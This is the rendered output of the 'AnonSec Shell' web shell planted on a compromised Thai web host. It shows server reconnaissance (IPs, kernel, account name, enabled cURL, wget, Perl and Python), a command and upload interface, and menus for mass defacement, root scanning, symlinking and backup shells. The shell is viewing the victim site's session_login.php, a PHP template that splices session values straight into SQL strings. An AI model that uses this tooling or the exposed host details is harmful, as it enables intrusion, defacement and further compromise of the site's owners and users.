AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 172.71.28.145   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/www/simded.com/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/www/simded.com/themes/session_login.php
<?php
$sql_m = array('table'=>$_SESSION['simDed_type'],'where'=>"id = '". $_SESSION['simDed_id'] ."'");
$view_m = $view_db->view($sql_m);
$row_m = $view_db->q($view_m);

if($_SESSION['simDed_type'] == 'member'){ $sql_f = 'mem_id';}
if($_SESSION['simDed_type'] == 'shop'){ $sql_f = 'shop_id';}
if($_SESSION['simDed_type'] == 'professor'){ $sql_f = 'pro_id';}

$sqlmm = array('table'=>'favorites','count'=>'COUNT(id) AS countid ','where'=> $sql_f . " = '". $_SESSION['simDed_id'] ."'");
$viewmm = $view_db->view($sqlmm);
$rowmm = $view_db->q($viewmm);
$favorites = $rowmm['countid'];

if($_SESSION['simDed_type'] == 'member'){
	if($row_m['id_fb'] == ''){
		$urlimgpro =  $urlimg_main.'images/b1.jpg';
	}
	else
	{
		$urlimgpro = 'https://graph.facebook.com/'.$row_m['id_fb'].'/picture?type=square';
	}
	$urledit =  $urlimg_main.'member/profile.php';
	$urlorder =  $urlimg_main.'order_member/index.php';
}
if($_SESSION['simDed_type'] == 'shop'){

	if($row_m['image_profile'] == ''){ $urlimgpro =  $urlimg_main.'images/b1.jpg'; }else{
		$urlimgpro = $upload.'/file_manage/'.$row_m['image_profile'];
	}
	$urledit =  $urlimg_main.'shopadmin/';
}
if($_SESSION['simDed_type'] == 'professor'){
	if($row_m['image_profile'] == ''){ $urlimgpro =  $urlimg_main.'images/b1.jpg'; }else{
		$urlimgpro = $upload.'/file_manage/'.$row_m['image_profile'];
	}
	$urledit =  $urlimg_main.'prophecyadmin/';
}

	?>
	<a class="dropdown-toggle text-decoration-none" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">
		<img src="<?php echo $urlimgpro; ?>" width="33" height="33" style="border-radius:33px;">
		 <span class="caret text-light ps-3"><?php echo $_SESSION['simDed_name']; ?></span>
	</a>
	  <?php
if($_SESSION['simDed_type'] == 'member')
{
	?>
	 <ul class="dropdown-menu dropdown_profile mt-1 bg-danger-sim border-danger-sim rounded-sim2 text-light" style="right: 0;">
		<li class="mx-md-3">
			<a href="<?php echo $urlimg_main; ?>favorite/" class="bg-danger-sim text-light text-decoration-none px-0">
				<i class="fa fa-heart" style="font-size:24px;color:white; "></i>
				<span id="alert_like" class="ps-2">(<?php echo $favorites; ?>)</span>
			</a>
		</li>
		<li class="mx-md-3">
			<a href="<?php echo $urledit; ?>" class="bg-danger-sim text-light text-decoration-none px-0">
				<i class="fa fa-pencil" aria-hidden="true" style="font-size:24px;color:white; "></i>
			  <span class="ps-2">แก้ไข้ข้อมูลส่วนตัว</span>
			</a>
		</li>
    <li class="mx-md-3">
			<a href="<?php echo $urlorder; ?>" class="bg-danger-sim text-light text-decoration-none px-0">
				<i class="fa fa-bars" aria-hidden="true" style="font-size:24px;color:white; "></i>
				<span class="ps-2">รายการสั่งซื้อ</span>
			</a>
		</li>
		<li role="separator" class="divider"></li>
		<li class="mx-md-3">
			<a href="<?php echo $urlimg_main; ?>include/logout.php" class="bg-danger-sim text-light text-decoration-none px-0">
				<i class="fa fa-unlock-alt" aria-hidden="true" style="font-size:24px;color:white; "></i>
				<span class="ps-3">ออกจากระบบ</span>
			</a>
		</li>
	  </ul>
	<?php
}
if($_SESSION['simDed_type'] == 'shop')
{
	 $urlshop =  $util_class->ck_expired_shop($_SESSION['simDed_id']);
	?>
	 <ul class="dropdown-menu dropdown_profile mt-1" style="right: 0;">
		<li><a href="<?php echo $urlimg_main; ?>favorite/"><img src="<?php echo $urlimg_main; ?>images/icon_like.png" width="16">&nbsp;(<span id="alert_like"><?php echo $favorites; ?></span>)</a></li>
		<li><a href="<?php echo $urlshop; ?>"><img src="<?php echo $urlimg_main; ?>images/house-48.png" width="16"> ร้านของฉัน</a></li>
		<li><a href="<?php echo $urledit; ?>"><img src="<?php echo $urlimg_main; ?>images/edit-24.png" width="16"> ระบบจัดการร้าน</a></li>
		<li role="separator" class="divider"></li>
		<li><a href="<?php echo $urlimg_main; ?>include/logout.php"><img src="<?php echo $urlimg_main; ?>images/unlock-24.png" width="16"> ออกจากระบบ</a></li>
	  </ul>
	<?php
}
if($_SESSION['simDed_type'] == 'professor')
{
	 $urlshop =  '../prophecy/'.$row_m['code'];
	?>
	 <ul class="dropdown-menu dropdown_profile mt-1" style="right: 0;">
		<li><a href="<?php echo $urlimg_main; ?>favorite/">
        <img src="<?php echo $urlimg_main; ?>images/icon_like.png" width="16">&nbsp;(<span id="alert_like"><?php echo $favorites; ?></span>)</a></li>
		<li><a href="<?php echo $urlshop; ?>"><img src="<?php echo $urlimg_main; ?>images/house-48.png" width="16"> ร้านของฉัน</a></li>
		<li><a href="<?php echo $urledit; ?>"><img src="<?php echo $urlimg_main; ?>images/edit-24.png" width="16"> ระบบจัดการร้าน</a></li>
		<li role="separator" class="divider"></li>
		<li><a href="<?php echo $urlimg_main; ?>include/logout.php"><img src="<?php echo $urlimg_main; ?>images/unlock-24.png" width="16"> ออกจากระบบ</a></li>
	  </ul>
	<?php
}
?>

Anon7 - 2022
AnonSec Team